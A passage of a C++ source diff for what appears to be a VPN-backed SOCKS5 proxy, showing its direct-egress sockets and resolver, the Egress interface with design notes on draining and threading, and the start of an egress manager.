post_read(std::move(h), make_error_code(Error::Cancelled), 0);
|
||||
return;
|
||||
}
|
||||
read_h_ = std::move(h);
|
||||
auto self = shared_from_this();
|
||||
sock_.async_read_some(buf, [self](const std::error_code &ec, size_t n) {
|
||||
self->rx_.fetch_add(n, std::memory_order_relaxed);
|
||||
// asio::error::eof passes straight through: a half-closed peer is not a
|
||||
// failure, and turning it into one would truncate the response the
|
||||
// client is still waiting to send a request for.
|
||||
auto h = std::move(self->read_h_);
|
||||
self->read_h_ = nullptr;
|
||||
if (h) self->post_read(std::move(h), ec == asio::error::eof ? ec : map_ec(ec), n);
|
||||
});
|
||||
}
|
||||
|
||||
void do_write(asio::const_buffer buf, WriteHandler h) {
|
||||
if (write_h_) {
|
||||
LOG_ERROR(kMod, "overlapping async_write on {}", remote_.to_string());
|
||||
post_write(std::move(h), make_error_code(Error::Internal), 0);
|
||||
return;
|
||||
}
|
||||
if (buf.size() == 0) {
|
||||
post_write(std::move(h), {}, 0);
|
||||
return;
|
||||
}
|
||||
if (!sock_.is_open()) {
|
||||
post_write(std::move(h), std::make_error_code(std::errc::broken_pipe), 0);
|
||||
return;
|
||||
}
|
||||
write_h_ = std::move(h);
|
||||
auto self = shared_from_this();
|
||||
// async_write, not async_write_some: the interface promises the whole
|
||||
// buffer, matching what lwip_tcp.cpp does with its retry loop.
|
||||
asio::async_write(sock_, buf, [self](const std::error_code &ec, size_t n) {
|
||||
self->tx_.fetch_add(n, std::memory_order_relaxed);
|
||||
auto h = std::move(self->write_h_);
|
||||
self->write_h_ = nullptr;
|
||||
if (h) self->post_write(std::move(h), map_ec(ec), n);
|
||||
});
|
||||
}
|
||||
|
||||
void do_close() {
|
||||
if (closing_) return;
|
||||
closing_ = true;
|
||||
open_.store(false, std::memory_order_release);
|
||||
timer_.cancel();
|
||||
std::error_code ignored;
|
||||
sock_.close(ignored); // pending ops complete with operation_aborted
|
||||
if (connecting_) finish_connect(make_error_code(Error::Cancelled));
|
||||
}
|
||||
|
||||
void post_read(ReadHandler h, const std::error_code &ec, size_t n) {
|
||||
asio::post(cb_ex_, [h = std::move(h), ec, n]() mutable { h(ec, n); });
|
||||
}
|
||||
void post_write(WriteHandler h, const std::error_code &ec, size_t n) {
|
||||
asio::post(cb_ex_, [h = std::move(h), ec, n]() mutable { h(ec, n); });
|
||||
}
|
||||
|
||||
Strand strand_;
|
||||
asio::any_io_executor cb_ex_;
|
||||
asio::ip::tcp::socket sock_;
|
||||
asio::steady_timer timer_;
|
||||
|
||||
Endpoint local_, remote_;
|
||||
ConnectHandler connect_h_;
|
||||
bool connecting_ = false;
|
||||
bool timed_out_ = false;
|
||||
bool closing_ = false;
|
||||
|
||||
ReadHandler read_h_;
|
||||
WriteHandler write_h_;
|
||||
std::function<void()> on_gone_;
|
||||
|
||||
std::atomic<bool> open_{false};
|
||||
std::atomic<uint64_t> tx_{0}, rx_{0};
|
||||
};
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// UDP
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
class DirectUdpSocket final : public UdpSocket,
|
||||
public std::enable_shared_from_this<DirectUdpSocket> {
|
||||
public:
|
||||
using Ptr = std::shared_ptr<DirectUdpSocket>;
|
||||
|
||||
static Ptr create(asio::io_context &io, asio::any_io_executor cb_ex,
|
||||
std::error_code *ec_out) {
|
||||
Strand strand = asio::make_strand(io);
|
||||
Ptr p(new DirectUdpSocket(strand, std::move(cb_ex)),
|
||||
StrandDeleter<DirectUdpSocket>{strand});
|
||||
std::error_code ec;
|
||||
// v6 with v6_only off would accept v4 too, but VPNGate is v4-only and the
|
||||
// netstack refuses v6 anyway (lwip_stack.h); staying v4 keeps the two
|
||||
// egresses behaving identically.
|
||||
p->sock_.open(asio::ip::udp::v4(), ec);
|
||||
if (!ec) p->sock_.bind(asio::ip::udp::endpoint(asio::ip::udp::v4(), 0), ec);
|
||||
if (ec) {
|
||||
if (ec_out) *ec_out = ec;
|
||||
return nullptr;
|
||||
}
|
||||
p->local_ = from_asio(p->sock_.local_endpoint(ec));
|
||||
p->open_.store(true, std::memory_order_release);
|
||||
return p;
|
||||
}
|
||||
|
||||
~DirectUdpSocket() override {
|
||||
std::error_code ignored;
|
||||
sock_.close(ignored);
|
||||
if (recv_h_) {
|
||||
const auto ec = make_error_code(Error::Cancelled);
|
||||
asio::post(cb_ex_, [h = std::move(recv_h_), ec] { h(ec, 0, Endpoint{}); });
|
||||
}
|
||||
if (on_gone_) on_gone_();
|
||||
}
|
||||
|
||||
void set_on_gone(std::function<void()> f) { on_gone_ = std::move(f); }
|
||||
|
||||
void async_receive_from(asio::mutable_buffer buf, RecvHandler h) override {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self, buf, h = std::move(h)]() mutable {
|
||||
self->do_receive(buf, std::move(h));
|
||||
});
|
||||
}
|
||||
|
||||
void async_send_to(asio::const_buffer buf, const Endpoint &to,
|
||||
SendHandler h) override {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self, buf, to, h = std::move(h)]() mutable {
|
||||
self->do_send(buf, to, std::move(h));
|
||||
});
|
||||
}
|
||||
|
||||
void close() override {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self] {
|
||||
if (self->closing_) return;
|
||||
self->closing_ = true;
|
||||
self->open_.store(false, std::memory_order_release);
|
||||
std::error_code ignored;
|
||||
self->sock_.close(ignored);
|
||||
});
|
||||
}
|
||||
|
||||
bool is_open() const override { return open_.load(std::memory_order_acquire); }
|
||||
Endpoint local_endpoint() const override { return local_; }
|
||||
|
||||
private:
|
||||
DirectUdpSocket(Strand strand, asio::any_io_executor cb_ex)
|
||||
: strand_(strand), cb_ex_(std::move(cb_ex)), sock_(strand) {}
|
||||
|
||||
void do_receive(asio::mutable_buffer buf, RecvHandler h) {
|
||||
if (recv_h_) {
|
||||
asio::post(cb_ex_, [h = std::move(h)]() mutable {
|
||||
h(make_error_code(Error::Internal), 0, Endpoint{});
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (!sock_.is_open()) {
|
||||
asio::post(cb_ex_, [h = std::move(h)]() mutable {
|
||||
h(make_error_code(Error::Cancelled), 0, Endpoint{});
|
||||
});
|
||||
return;
|
||||
}
|
||||
recv_h_ = std::move(h);
|
||||
auto self = shared_from_this();
|
||||
sock_.async_receive_from(
|
||||
buf, from_, [self](const std::error_code &ec, size_t n) {
|
||||
auto h2 = std::move(self->recv_h_);
|
||||
self->recv_h_ = nullptr;
|
||||
if (!h2) return;
|
||||
const Endpoint from = from_asio(self->from_);
|
||||
asio::post(self->cb_ex_,
|
||||
[h2 = std::move(h2), ec = map_ec(ec), n, from]() mutable {
|
||||
h2(ec, n, from);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
void do_send(asio::const_buffer buf, const Endpoint &to, SendHandler h) {
|
||||
if (to.is_domain() || !to.address().valid()) {
|
||||
asio::post(cb_ex_, [h = std::move(h)]() mutable {
|
||||
h(make_error_code(Error::NotSupported), 0);
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (!sock_.is_open()) {
|
||||
asio::post(cb_ex_, [h = std::move(h)]() mutable {
|
||||
h(make_error_code(Error::Cancelled), 0);
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (buf.size() > kMaxDatagram) {
|
||||
asio::post(cb_ex_, [h = std::move(h)]() mutable {
|
||||
h(make_error_code(Error::ResourceExhausted), 0);
|
||||
});
|
||||
return;
|
||||
}
|
||||
// send_to rather than async_send_to: a UDP send either fits in the socket
|
||||
// buffer or is dropped, so there is nothing to wait for, and this keeps a
|
||||
// single outstanding-op rule from applying to a direction that does not
|
||||
// need one.
|
||||
std::error_code ec;
|
||||
const size_t n = sock_.send_to(buf, to_asio_udp(to), 0, ec);
|
||||
asio::post(cb_ex_, [h = std::move(h), ec = map_ec(ec), n]() mutable {
|
||||
h(ec, n);
|
||||
});
|
||||
}
|
||||
|
||||
Strand strand_;
|
||||
asio::any_io_executor cb_ex_;
|
||||
asio::ip::udp::socket sock_;
|
||||
asio::ip::udp::endpoint from_;
|
||||
Endpoint local_;
|
||||
RecvHandler recv_h_;
|
||||
std::function<void()> on_gone_;
|
||||
bool closing_ = false;
|
||||
std::atomic<bool> open_{false};
|
||||
};
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Resolver
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// The host resolver. Correct here precisely because there is no tunnel to leak
|
||||
// out of -- the tunnel egress uses netstack/dns_resolver.h instead, which sends
|
||||
// its queries through the VPN.
|
||||
class DirectResolver final : public Resolver {
|
||||
public:
|
||||
DirectResolver(asio::io_context &io, DnsConfig cfg)
|
||||
: io_(io), cfg_(std::move(cfg)) {}
|
||||
|
||||
void async_resolve(const std::string &host, Handler h) override {
|
||||
async_resolve_on(io_.get_executor(), host, std::move(h));
|
||||
}
|
||||
|
||||
void async_resolve_on(const asio::any_io_executor &ex,
|
||||
const std::string &host, Handler h) {
|
||||
if (auto lit = IpAddress::parse(host)) {
|
||||
asio::post(ex, [h = std::move(h), lit = *lit]() mutable {
|
||||
h({}, {lit});
|
||||
});
|
||||
return;
|
||||
}
|
||||
auto res = std::make_shared<asio::ip::tcp::resolver>(io_);
|
||||
res->async_resolve(
|
||||
host, "", asio::ip::resolver_base::numeric_service,
|
||||
[res, ex, h = std::move(h), cfg = cfg_](
|
||||
const std::error_code &ec,
|
||||
asio::ip::tcp::resolver::results_type results) mutable {
|
||||
if (ec) {
|
||||
asio::post(ex, [h = std::move(h)]() mutable {
|
||||
h(make_error_code(Error::ResolveFailed), {});
|
||||
});
|
||||
return;
|
||||
}
|
||||
std::vector<IpAddress> out;
|
||||
for (const auto &r : results) {
|
||||
const auto a = from_asio(r.endpoint().address());
|
||||
if (!a.valid()) continue;
|
||||
if (cfg.prefer_ipv4 && !a.is_v4()) continue;
|
||||
if (std::find(out.begin(), out.end(), a) == out.end())
|
||||
out.push_back(a);
|
||||
}
|
||||
if (out.empty()) {
|
||||
asio::post(ex, [h = std::move(h)]() mutable {
|
||||
h(make_error_code(Error::ResolveFailed), {});
|
||||
});
|
||||
return;
|
||||
}
|
||||
asio::post(ex, [h = std::move(h), out = std::move(out)]() mutable {
|
||||
h({}, std::move(out));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
void clear_cache() override {} // the host resolver keeps its own
|
||||
|
||||
private:
|
||||
asio::io_context &io_;
|
||||
DnsConfig cfg_;
|
||||
};
|
||||
|
||||
metrics::Counter *direct_tcp_opened() {
|
||||
static auto *c = metrics::counter("ovg_direct_tcp_opened_total",
|
||||
"TCP connections opened on the direct egress");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *direct_tcp_failed() {
|
||||
static auto *c = metrics::counter("ovg_direct_tcp_failed_total",
|
||||
"TCP connect failures on the direct egress");
|
||||
return c;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// DirectEgress
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
std::shared_ptr<DirectEgress> DirectEgress::create(asio::io_context &io,
|
||||
DnsConfig dns_cfg) {
|
||||
auto e = std::shared_ptr<DirectEgress>(
|
||||
new DirectEgress(io, std::move(dns_cfg)));
|
||||
LOG_WARN(kMod,
|
||||
"direct egress active: traffic does NOT go through a VPN. "
|
||||
"This is a configuration choice (egress_mode = direct), and it is "
|
||||
"never entered automatically.");
|
||||
return e;
|
||||
}
|
||||
|
||||
DirectEgress::DirectEgress(asio::io_context &io, DnsConfig dns_cfg)
|
||||
: io_(io),
|
||||
dns_cfg_(std::move(dns_cfg)),
|
||||
resolver_(std::make_shared<DirectResolver>(io, dns_cfg_)),
|
||||
created_(std::chrono::steady_clock::now()) {}
|
||||
|
||||
DirectEgress::~DirectEgress() = default;
|
||||
|
||||
void DirectEgress::async_connect_tcp(const asio::any_io_executor &ex,
|
||||
const Endpoint &target, Millis timeout,
|
||||
ConnectHandler h) {
|
||||
if (state() != EgressState::Ready) {
|
||||
const auto ec = make_error_code(state() == EgressState::Draining
|
||||
? Error::EgressDraining
|
||||
: Error::EgressGone);
|
||||
asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); });
|
||||
return;
|
||||
}
|
||||
|
||||
auto self = shared_from_this();
|
||||
auto dial = [self, ex, timeout](const Endpoint &resolved,
|
||||
ConnectHandler h) mutable {
|
||||
auto stream = DirectTcpStream::create(self->io_, ex);
|
||||
self->tcp_active_.fetch_add(1, std::memory_order_relaxed);
|
||||
stream->set_on_gone([self] {
|
||||
self->tcp_active_.fetch_sub(1, std::memory_order_relaxed);
|
||||
});
|
||||
stream->start_connect(
|
||||
resolved, timeout,
|
||||
[self, stream, ex, h = std::move(h)](const std::error_code &ec) mutable {
|
||||
self->note_tcp(!ec);
|
||||
if (ec) {
|
||||
asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); });
|
||||
return;
|
||||
}
|
||||
asio::post(ex, [h = std::move(h), stream]() mutable { h({}, stream); });
|
||||
});
|
||||
};
|
||||
|
||||
if (!target.is_domain()) {
|
||||
dial(target, std::move(h));
|
||||
return;
|
||||
}
|
||||
const uint16_t port = target.port();
|
||||
async_resolve(ex, target.domain(),
|
||||
[dial = std::move(dial), port, ex, self, h = std::move(h)](
|
||||
const std::error_code &ec,
|
||||
std::vector<IpAddress> addrs) mutable {
|
||||
if (ec || addrs.empty()) {
|
||||
// Report the resolve failure as itself. Folding it into a
|
||||
// connect error would hand SOCKS5 the wrong REP code and
|
||||
// send the operator looking at the wrong layer.
|
||||
self->note_tcp(false);
|
||||
const auto fail =
|
||||
ec ? ec : make_error_code(Error::ResolveFailed);
|
||||
asio::post(ex, [h = std::move(h), fail]() mutable {
|
||||
h(fail, nullptr);
|
||||
});
|
||||
return;
|
||||
}
|
||||
dial(Endpoint(addrs.front(), port), std::move(h));
|
||||
});
|
||||
}
|
||||
|
||||
void DirectEgress::async_bind_udp(const asio::any_io_executor &ex,
|
||||
UdpBindHandler h) {
|
||||
if (state() != EgressState::Ready) {
|
||||
const auto ec = make_error_code(state() == EgressState::Draining
|
||||
? Error::EgressDraining
|
||||
: Error::EgressGone);
|
||||
asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); });
|
||||
return;
|
||||
}
|
||||
std::error_code ec;
|
||||
auto sock = DirectUdpSocket::create(io_, ex, &ec);
|
||||
if (!sock) {
|
||||
asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); });
|
||||
return;
|
||||
}
|
||||
auto self = shared_from_this();
|
||||
udp_active_.fetch_add(1, std::memory_order_relaxed);
|
||||
sock->set_on_gone(
|
||||
[self] { self->udp_active_.fetch_sub(1, std::memory_order_relaxed); });
|
||||
asio::post(ex, [h = std::move(h), sock]() mutable { h({}, sock); });
|
||||
}
|
||||
|
||||
void DirectEgress::async_resolve(const asio::any_io_executor &ex,
|
||||
const std::string &host, ResolveHandler h) {
|
||||
std::static_pointer_cast<DirectResolver>(resolver_)->async_resolve_on(
|
||||
ex, host, std::move(h));
|
||||
}
|
||||
|
||||
EgressState DirectEgress::state() const {
|
||||
return static_cast<EgressState>(state_.load(std::memory_order_acquire));
|
||||
}
|
||||
|
||||
void DirectEgress::note_tcp(bool ok) {
|
||||
if (ok) {
|
||||
tcp_opened_.fetch_add(1, std::memory_order_relaxed);
|
||||
direct_tcp_opened()->inc();
|
||||
} else {
|
||||
tcp_failed_.fetch_add(1, std::memory_order_relaxed);
|
||||
direct_tcp_failed()->inc();
|
||||
}
|
||||
}
|
||||
|
||||
EgressStats DirectEgress::stats() const {
|
||||
EgressStats s;
|
||||
s.node_id = "direct";
|
||||
s.proto = "direct";
|
||||
s.uptime_ms = std::chrono::duration_cast<std::chrono::milliseconds>(
|
||||
std::chrono::steady_clock::now() - created_)
|
||||
.count();
|
||||
s.tcp_opened = tcp_opened_.load(std::memory_order_relaxed);
|
||||
s.tcp_failed = tcp_failed_.load(std::memory_order_relaxed);
|
||||
s.tcp_active = tcp_active_.load(std::memory_order_relaxed);
|
||||
s.udp_active = udp_active_.load(std::memory_order_relaxed);
|
||||
return s;
|
||||
}
|
||||
|
||||
void DirectEgress::begin_drain() {
|
||||
auto expected = static_cast<int>(EgressState::Ready);
|
||||
state_.compare_exchange_strong(expected,
|
||||
static_cast<int>(EgressState::Draining));
|
||||
}
|
||||
|
||||
void DirectEgress::shutdown(std::function<void()> on_done) {
|
||||
state_.store(static_cast<int>(EgressState::Down), std::memory_order_release);
|
||||
// Nothing to tear down: host sockets belong to the streams, and dropping a
|
||||
// stream closes it. The asymmetry with TunnelEgress is real and fine -- there
|
||||
// is no shared resource here whose removal would strand a live connection.
|
||||
if (on_done) asio::post(io_, std::move(on_done));
|
||||
}
|
||||
|
||||
} // namespace ovg::egress
|
||||
@@ -0,0 +1,78 @@
|
||||
// The egress that isn't: host sockets, no VPN, no lwIP.
|
||||
//
|
||||
// It exists for two reasons, both practical.
|
||||
//
|
||||
// * The SOCKS5 layer needs to be testable without bringing up a tunnel to a
|
||||
// volunteer server in another country. Against this egress the whole proxy
|
||||
// runs end to end over loopback, in a unit test, deterministically.
|
||||
// * `egress_mode = direct` in the config gives an operator a working proxy
|
||||
// while they debug node selection, and gives a build without openvpn3
|
||||
// something to do (see OVG_WITH_TUNNEL in src/CMakeLists.txt).
|
||||
//
|
||||
// It is emphatically not a fallback the switch controller may reach for on its
|
||||
// own: traffic through it is not in the VPN, and quietly degrading to that
|
||||
// would be the worst possible failure mode for a program whose entire job is
|
||||
// to not do that. Selecting it is a config decision, made once, at startup.
|
||||
//
|
||||
// The stream and socket types here implement the same netstack interfaces as
|
||||
// the lwIP ones, so nothing above notices the difference -- including the
|
||||
// half-close and cancellation semantics, which are matched deliberately rather
|
||||
// than approximately.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <atomic>
|
||||
#include <memory>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "egress/egress.h"
|
||||
|
||||
namespace ovg::egress {
|
||||
|
||||
class DirectEgress final : public Egress,
|
||||
public std::enable_shared_from_this<DirectEgress> {
|
||||
public:
|
||||
static std::shared_ptr<DirectEgress> create(asio::io_context &io,
|
||||
DnsConfig dns_cfg);
|
||||
~DirectEgress() override;
|
||||
|
||||
DirectEgress(const DirectEgress &) = delete;
|
||||
DirectEgress &operator=(const DirectEgress &) = delete;
|
||||
|
||||
// Egress
|
||||
void async_connect_tcp(const asio::any_io_executor &ex, const Endpoint &target,
|
||||
Millis timeout, ConnectHandler h) override;
|
||||
void async_bind_udp(const asio::any_io_executor &ex,
|
||||
UdpBindHandler h) override;
|
||||
void async_resolve(const asio::any_io_executor &ex, const std::string &host,
|
||||
ResolveHandler h) override;
|
||||
EgressState state() const override;
|
||||
EgressStats stats() const override;
|
||||
std::string detail() const override { return {}; }
|
||||
void begin_drain() override;
|
||||
void shutdown(std::function<void()> on_done = {}) override;
|
||||
const std::string &label() const override { return label_; }
|
||||
|
||||
private:
|
||||
DirectEgress(asio::io_context &io, DnsConfig dns_cfg);
|
||||
|
||||
void note_tcp(bool ok);
|
||||
|
||||
asio::io_context &io_;
|
||||
DnsConfig dns_cfg_;
|
||||
std::string label_ = "direct";
|
||||
std::shared_ptr<netstack::Resolver> resolver_;
|
||||
std::chrono::steady_clock::time_point created_;
|
||||
|
||||
std::atomic<int> state_{static_cast<int>(EgressState::Ready)};
|
||||
std::atomic<uint64_t> tcp_opened_{0};
|
||||
std::atomic<uint64_t> tcp_failed_{0};
|
||||
std::atomic<int64_t> tcp_active_{0};
|
||||
std::atomic<int64_t> udp_active_{0};
|
||||
};
|
||||
|
||||
} // namespace ovg::egress
|
||||
@@ -0,0 +1,21 @@
|
||||
#include "egress/egress.h"
|
||||
|
||||
namespace ovg::egress {
|
||||
|
||||
const char *egress_state_name(EgressState s) {
|
||||
switch (s) {
|
||||
case EgressState::Idle:
|
||||
return "idle";
|
||||
case EgressState::Connecting:
|
||||
return "connecting";
|
||||
case EgressState::Ready:
|
||||
return "ready";
|
||||
case EgressState::Draining:
|
||||
return "draining";
|
||||
case EgressState::Down:
|
||||
return "down";
|
||||
}
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
} // namespace ovg::egress
|
||||
@@ -0,0 +1,153 @@
|
||||
// The way out. Everything above this line -- SOCKS5, health, admin -- programs
|
||||
// against this interface and nothing else.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Why the whole design hangs on this being a shared_ptr
|
||||
// ---------------------------------------------------------------------------
|
||||
// A SOCKS5 session takes a reference at accept time and holds it until it ends.
|
||||
// That single rule buys three things that would otherwise each need their own
|
||||
// machinery:
|
||||
//
|
||||
// * A session can never be re-homed underneath itself. The egress it started
|
||||
// on is the egress it finishes on, so there is no window where a half-sent
|
||||
// request goes out one tunnel and its continuation out another.
|
||||
// * Draining needs no session table. The reference count *is* the number of
|
||||
// sessions still using this egress; when it hits zero the destructor closes
|
||||
// the tunnel. Nothing to iterate, nothing to leak.
|
||||
// * The switch is a pointer swap. Promote = store a new shared_ptr in the
|
||||
// manager; every acquire() after that gets the new one, every session
|
||||
// before it is untouched.
|
||||
//
|
||||
// docs/ARCHITECTURE.md §5.2.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Threading
|
||||
// ---------------------------------------------------------------------------
|
||||
// Every method is safe to call from any thread. Each async method takes the
|
||||
// executor its handler must run on, and so does everything the handler hands
|
||||
// back: a stream created with a session's strand delivers all of its own
|
||||
// completions on that strand too.
|
||||
//
|
||||
// Passing the executor explicitly rather than fixing it at construction is what
|
||||
// lets one egress serve a thousand sessions on four io threads while each
|
||||
// session still sees a single-threaded world. Implementations that need
|
||||
// internal serialization -- the tunnel one does, because lwIP does -- arrange
|
||||
// that privately and never leak it to the caller.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <cstdint>
|
||||
#include <functional>
|
||||
#include <memory>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "common/endpoint.h"
|
||||
#include "netstack/stream.h"
|
||||
|
||||
namespace ovg::egress {
|
||||
|
||||
using netstack::TcpStreamPtr;
|
||||
using netstack::UdpSocketPtr;
|
||||
|
||||
enum class EgressState {
|
||||
Idle, // constructed, start() not called
|
||||
Connecting, // bringing the tunnel up; no traffic yet
|
||||
Ready, // usable
|
||||
Draining, // still serving existing sessions, refusing new ones
|
||||
Down, // unusable; `detail()` says why
|
||||
};
|
||||
const char *egress_state_name(EgressState s);
|
||||
|
||||
struct EgressStats {
|
||||
// Identity.
|
||||
std::string node_id;
|
||||
std::string node_country;
|
||||
std::string server_ip;
|
||||
std::string local_address; // our address inside the tunnel
|
||||
std::string proto; // "udp" / "tcp" / "direct"
|
||||
|
||||
// Age and use.
|
||||
int64_t uptime_ms = 0;
|
||||
int64_t sessions = 0; // shared_ptr use_count minus the manager's own refs
|
||||
|
||||
// Traffic, as seen at the tunnel. Zero for the direct egress, which has no
|
||||
// single aggregate to report.
|
||||
uint64_t tun_bytes_in = 0;
|
||||
uint64_t tun_bytes_out = 0;
|
||||
uint64_t transport_bytes_in = 0;
|
||||
uint64_t transport_bytes_out = 0;
|
||||
int last_packet_received_ms = -1; // -1 = never
|
||||
|
||||
// Connection outcomes, since construction.
|
||||
uint64_t tcp_opened = 0;
|
||||
uint64_t tcp_failed = 0;
|
||||
int64_t tcp_active = 0;
|
||||
int64_t udp_active = 0;
|
||||
|
||||
// Packet-level health, from the netstack. All zero for direct.
|
||||
uint64_t rx_packets = 0;
|
||||
uint64_t tx_packets = 0;
|
||||
uint64_t tx_dropped = 0;
|
||||
uint64_t rx_malformed = 0;
|
||||
uint64_t rx_dropped = 0;
|
||||
|
||||
double connect_failure_rate() const {
|
||||
const uint64_t total = tcp_opened + tcp_failed;
|
||||
return total == 0 ? 0.0 : static_cast<double>(tcp_failed) / total;
|
||||
}
|
||||
};
|
||||
|
||||
class Egress {
|
||||
public:
|
||||
using ConnectHandler =
|
||||
std::function<void(const std::error_code &, TcpStreamPtr)>;
|
||||
using UdpBindHandler =
|
||||
std::function<void(const std::error_code &, UdpSocketPtr)>;
|
||||
using ResolveHandler =
|
||||
std::function<void(const std::error_code &, std::vector<IpAddress>)>;
|
||||
|
||||
virtual ~Egress() = default;
|
||||
|
||||
// `target` may be a domain: resolving it here rather than at the caller is
|
||||
// what keeps DNS inside the tunnel. A literal address skips the lookup.
|
||||
virtual void async_connect_tcp(const asio::any_io_executor &ex,
|
||||
const Endpoint &target, Millis timeout,
|
||||
ConnectHandler h) = 0;
|
||||
|
||||
// An outbound datagram socket on this egress, for SOCKS5 UDP ASSOCIATE.
|
||||
virtual void async_bind_udp(const asio::any_io_executor &ex,
|
||||
UdpBindHandler h) = 0;
|
||||
|
||||
// Exposed separately from connect because SOCKS5 needs the resolved address
|
||||
// for the BND field in the reply, and the health monitor times a lookup as
|
||||
// its in-tunnel RTT probe.
|
||||
virtual void async_resolve(const asio::any_io_executor &ex,
|
||||
const std::string &host, ResolveHandler h) = 0;
|
||||
|
||||
virtual EgressState state() const = 0;
|
||||
virtual EgressStats stats() const = 0;
|
||||
|
||||
// Human-readable reason for Down, or an empty string.
|
||||
virtual std::string detail() const = 0;
|
||||
|
||||
// Stops accepting new work. Existing streams keep running: this is the state
|
||||
// an egress sits in between being replaced and its last session ending.
|
||||
// Idempotent.
|
||||
virtual void begin_drain() = 0;
|
||||
|
||||
// Tears everything down now, aborting live streams with Error::EgressGone.
|
||||
// `on_done` runs on the egress's executor once the tunnel is gone.
|
||||
virtual void shutdown(std::function<void()> on_done = {}) = 0;
|
||||
|
||||
// Stable label for logs: node id for a tunnel, "direct" otherwise.
|
||||
virtual const std::string &label() const = 0;
|
||||
|
||||
bool usable() const { return state() == EgressState::Ready; }
|
||||
};
|
||||
|
||||
using EgressPtr = std::shared_ptr<Egress>;
|
||||
|
||||
} // namespace ovg::egress
|
||||
@@ -0,0 +1,806 @@
|
||||
#include "egress/egress_manager.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <atomic>
|
||||
#include <utility>
|
||||
|
||||
#include "common/error.h"
|
||||
#include "common/logging.h"
|
||||
#include "common/metrics.h"
|
||||
#include "egress/direct_egress.h"
|
||||
|
||||
#if OVG_WITH_TUNNEL
|
||||
#include "egress/tunnel_egress.h"
|
||||
#include "netstack/lwip_stack.h"
|
||||
#endif
|
||||
|
||||
namespace ovg::egress {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "egress";
|
||||
|
||||
// How many full selection rounds startup gets before start() reports failure.
|
||||
// A round already walks several candidates, so this is "the node list is
|
||||
// unusable", not "one server was busy". Bounded rather than infinite because a
|
||||
// service that never finishes starting is harder to operate than one that exits
|
||||
// with a reason.
|
||||
constexpr size_t kStartupRounds = 4;
|
||||
|
||||
// The directory arrives asynchronously and the first selection usually loses
|
||||
// the race with it by about a second. Poll at this interval instead of burning
|
||||
// a startup round and an exponential backoff on a condition that is not a
|
||||
// failure. Bounded, because "the API is unreachable and there is no cache" must
|
||||
// eventually become a reported error rather than a service that waits forever.
|
||||
constexpr Millis kDirectoryWaitDelay{1000};
|
||||
constexpr size_t kMaxDirectoryWaits = 45;
|
||||
|
||||
metrics::Counter *m_switches() {
|
||||
static auto *c = metrics::counter("ovg_egress_switch_total",
|
||||
"Completed egress switches");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_switch_failed() {
|
||||
static auto *c = metrics::counter("ovg_egress_switch_failed_total",
|
||||
"Switch attempts that found no usable node");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_hard() {
|
||||
static auto *c = metrics::counter(
|
||||
"ovg_egress_hard_switch_total",
|
||||
"Switches that had to close existing sessions immediately");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_drain_expired() {
|
||||
static auto *c = metrics::counter(
|
||||
"ovg_egress_drain_expired_total",
|
||||
"Draining egresses force-closed when the grace window ran out");
|
||||
return c;
|
||||
}
|
||||
metrics::Gauge *m_draining() {
|
||||
static auto *g = metrics::gauge("ovg_egress_draining",
|
||||
"Egresses serving out their last sessions");
|
||||
return g;
|
||||
}
|
||||
|
||||
int64_t ms_since(std::chrono::steady_clock::time_point t) {
|
||||
using namespace std::chrono;
|
||||
return duration_cast<milliseconds>(steady_clock::now() - t).count();
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
const char *switch_phase_name(SwitchPhase p) {
|
||||
switch (p) {
|
||||
case SwitchPhase::Idle:
|
||||
return "idle";
|
||||
case SwitchPhase::Selecting:
|
||||
return "selecting";
|
||||
case SwitchPhase::Connecting:
|
||||
return "connecting";
|
||||
case SwitchPhase::Promoting:
|
||||
return "promoting";
|
||||
case SwitchPhase::Draining:
|
||||
return "draining";
|
||||
}
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
const char *switch_reason_name(SwitchReason r) {
|
||||
switch (r) {
|
||||
case SwitchReason::Startup:
|
||||
return "startup";
|
||||
case SwitchReason::Unhealthy:
|
||||
return "unhealthy";
|
||||
case SwitchReason::BetterCandidate:
|
||||
return "better-candidate";
|
||||
case SwitchReason::TunnelDown:
|
||||
return "tunnel-down";
|
||||
case SwitchReason::Manual:
|
||||
return "manual";
|
||||
}
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
EgressManager::EgressManager(asio::io_context &io, Config cfg,
|
||||
selector::Selector *selector,
|
||||
selector::HistoryStore *history,
|
||||
netstack::Stack *stack)
|
||||
: io_(io),
|
||||
cfg_(std::move(cfg)),
|
||||
selector_(selector),
|
||||
history_(history),
|
||||
stack_(stack),
|
